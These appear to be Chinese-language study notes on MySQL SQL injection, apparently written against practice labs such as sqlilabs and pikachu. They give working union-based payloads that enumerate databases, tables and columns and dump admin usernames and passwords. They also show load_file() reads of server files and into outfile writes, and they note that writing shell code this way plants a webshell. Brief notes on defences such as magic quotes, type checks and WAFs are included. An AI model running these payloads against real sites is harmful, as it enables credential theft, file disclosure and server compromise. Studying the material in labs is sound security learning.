mysql注入
1.信息收集
1)操作系统:@@version_compile_cs(不同的系统对数据库操作语句的大小写区分)
2)数据库名:database()
3)数据库用户:user()(专门管理数据库的账户),root为最高权限,容易导致跨站注入数 据。普通用户:只能注入自己网站。
4)数据库版本:version()(选择注入)
5)其他网站路径(进行文件读取,为高权限读取做准备)
2.数据注入
1)低版本(暴力或结合读取查询,表名,列名用猜的方式)
2)高版本(information_schema有据查询)
3.高权限注入
1)常规查询
2)跨库查询
3)文件读写
4.数据库自带方法
database()查询数据库名称
user()查询数据库用户
version()查询数据库版本
information_schema --5.0以上版本才有,储存所有的数据库名,表名,列名,可以通过查询他获取指定数据库下面的表名或列名信息
load_file():文件读取 ,
into outfile()或into dumfile(): 导出函数
5.information_shema
在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。在INFORMATION_SCHEMA中,有数个只读表。它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件。
因为非root型的数据库是无法看见数据库表名的
数据库中的”.“表示下一级
information_schema.tables--记录所有表名信息的表
字段 含义 Table_catalog 数据表登记目录 Table_schema 数据表所属的数据库名 Table_name 表名称 Table_type 表类型[system view|base table] Engine 使用的数据库引擎[MyISAM|CSV|InnoDB] Version 版本,默认值10 Row_format 行格式[Compact|Dynamic|Fixed] Table_rows 表里所存多少行数据 Avg_row_length 平均行长度 Data_length 数据长度 Max_data_length 最大数据长度 Index_length 索引长度 Data_free 空间碎片 Auto_increment 做自增主键的自动增量当前值 Create_time 表的创建时间 Update_time 表的更新时间 Check_time 表的检查时间 Table_collation 表的字符校验编码集 Checksum 校验和 Create_options 创建选项 Table_comment 表的注释、备注 information_schema.columns--记录所有列明信息的表
字段 含义 table_schema 表所有者(对于schema的名称) table_name 表名 column_name 列名 ordinal_position 列标识号 column_default 列的默认值 is_nullable 列的为空性。如果列允许 null,那么该列返回 yes。否则,返回 no data_type 系统提供的数据类型 character_maximum_length 以字符为单位的最大长度,适于二进制数据、字符数据,或者文本和图像数据。否则,返回 null。有关更多信息,请参见数据类型 character_octet_length 以字节为单位的最大长度,适于二进制数据、字符数据,或者文本和图像数据。否则,返回 nu numeric_precision 近似数字数据、精确数字数据、整型数据或货币数据的精度。否则,返回 null numeric_precision_radix 近似数字数据、精确数字数据、整型数据或货币数据的精度基数。否则,返回 null numeric_scale 近似数字数据、精确数字数据、整数数据或货币数据的小数位数。否则,返回 null datetime_precision datetime 及 sql-92 interval 数据类型的子类型代码。对于其它数据类型,返回 null character_set_catalog 如果列是字符数据或 text 数据类型,那么返回 master,指明字符集所在的数据库。否则,返回 null character_set_schema 如果列是字符数据或 text 数据类型,那么返回 dbo,指明字符集的所有者名称。否则,返回 null character_set_name 如果该列是字符数据或 text 数据类型,那么为字符集返回唯一的名称。否则,返回 null collation_catalog 如果列是字符数据或 text 数据类型,那么返回 master,指明在其中定义排序次序的数据库。否则此列为 null collation_schema 返回 dbo,为字符数据或 text 数据类型指明排序次序的所有者。否则,返回 null collation_name 如果列是字符数据或 text 数据类型,那么为排序次序返回唯一的名称。否则,返回 null。 domain_catalog 如果列是一种用户定义数据类型,那么该列是某个数据库名称,在该数据库名中创建了这种用户定义数据类型。否则,返回 null domain_schema 如果列是一种用户定义数据类型,那么该列是这种用户定义数据类型的创建者。否则,返回 null domain_name 如果列是一种用户定义数据类型,那么该列是这种用户定义数据类型的名称。否则,返回 NULL information_schema.schemata--记录mysql中所有数据库的名称的表
字段 含义 schema_name 数据库名称 default_character_set_name 数据库编码 default_collation_name 数据库排序规则
6.相关防注入
1.自带防御,魔术引号,magic_qutotes_gpc=on
2.内置函数进行过滤,puh中如果确定数据类型,可以用is_int()判断是否为整数
3.自定义关键字过滤,如select关键字,大小写,编码
4.WAF防护软件:安全狗,宝塔,大部分都为过滤关键字
limit x,y 进行x,y的筛选
7案列
tables,columns这两个的应用
(1)爆出数据库的所有表
select id,email form member where username='kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'
--通过information_schema下的tables可以查询pikachu数据库下的所有表
(2)爆出所有的列(字段名)
select id,email form member where username='kobe' union select table_name,column_name from information_schema.columns where table_name='users'
--通过information_schema下的columns可以查询某个表下面的所有字段
(3)跨站注入
数据库A=网站A=数据库用户A
表名
列名
数据
数据库B=网站B=数据库用户B
…
特点A网站只操作A网站的数据库,B网站只操作B网站的数据库
通过一个网站的数据库注入漏洞,注入另一个网站,条件:root型数据库
通过A注入B
MySQL
GROUP_CONCAT()
函数将组中的字符串连接成为具有各种选项的单个字符串。中间用逗号隔开SELECT * FROM users WHERE id=-1 union select 1,schema_name,3 from information_schema.schemata LIMIT 0,1 #爆出MySQL中数据库表中的第一个数据库的名称,因为有LIMIT 0,1,所以是第一个 select schema_name from information_schema.schamata #显示MySQL中数据库表中所有数据库的名称
1)查看当前使用的数据库
SELECT * FROM users WHERE id=-1 union select 1,database(),2 LIMIT 0,1
1)爆出所有数据库名字
SELECT * FROM users WHERE id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata LIMIT 0,1 #爆出MySQL中数据库表中所有数据库的名称,并且用逗号分割,也是应为limit的限制 #因为users查询出来的是三个字段,所以联合查询查询出来的也是要是三个字段
2)爆出的bees数据库下的所有表
SELECT * FROM users WHERE id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='bees' LIMIT 0,1
3)爆出bees数据库下的bees_admin表的所有字段
SELECT * FROM users WHERE id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='bees_admin' LIMIT 0,1
4)获取指定数据
获取用admin_name,admin_password两个字段的数据
SELECT * FROM users WHERE id=-1 union select 1,admin_name,admin_password from bees.bees_admin LIMIT 0,1 #注意后面要指定查询数据库下面的表bees.bees_admin,即bees数据库下的bees_admin表
(4)文件读取
select load_file('C:/inetpub/target/sqlilabs/.txt')
#注意添加冒号与斜杠的写法
[常见load_file()读取敏感文件]((18条消息) 常见的load_file()读取的敏感信息_weixin_30292843的博客-CSDN博客)
①文件读取的类型
- 读取服务器默认路径对应的文件
- 读取随机路径的文件(网站路径)
②路径获取的常见方法
- 报错显示(乱输入信息爆出一些文件路径),
- 遗留文件(站长调试时留下的文件),
- 漏洞报错(明确搭建的平台,搜索相关的漏洞,来获取文件的路径),
- 平台配置文件(读取读取配置信息来获取网站的文件的路径)
- 爆破(网站的常见路径,不同系统常见的路径,没办法的办法)
③文件的读取
SELECT * FROM users WHERE id=-1 union select 1,load_file('C:/inetpub/target/sqlilabs/reds.txt'),3 LIMIT 0,1
读取的内容为:sqlreadfile
④文件的写入
SELECT * FROM users WHERE id=-1 union select 1,'x',3 into outfile 'C:\\inetpub\\target\\sqlilabs\\write.txt'-- LIMIT 0,1
#注意后面有--注释,在url中要--+来进行注释
当把x的内容换成shell代码后就实现了恶意代码的植入
- php魔术引号的过滤(内置安全开关)magic_qutotes_gpc(php的安装目录下面)
magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,对__GET以及进行数据库操作的sql进行转义处理,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。防止sql注入
当magic_quotes_gpc = On时,输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会被加上反斜线。这些转义是必须的。
php中的magic_quotes_gpc是配置在php.ini中的一、当PHP magic_quotes_gpc=on
如果此时你对输入的数据作了addslashes()处理,
那么在输出的时候就必须使用stripslashes()去掉多余的反斜杠。
如果仅为magic_quotes_gpc=on,无再对写入数据库的字符串未经过任何处理。从数据库读出的字符串未作任何处理,则sql语句顺利执行,数据成功写入数据库,数据库保存格式和输出数据格式都和输入一样,不带反斜杠二、当PHP magic_quotes_gpc=off
必须使用addslashes()对输入数据进行处理,但并不需要使用stripslashes()格式化输出
因为addslashes()并未将反斜杠一起写入数据库,只是帮助mysql完成了sql语句的执行。数据库保存格式和输出数据格式都和输入一样,不带反斜杠
- 效果
- 解决方法,对路劲进行编码,把路径进行hex(十六进制,不添加单引号)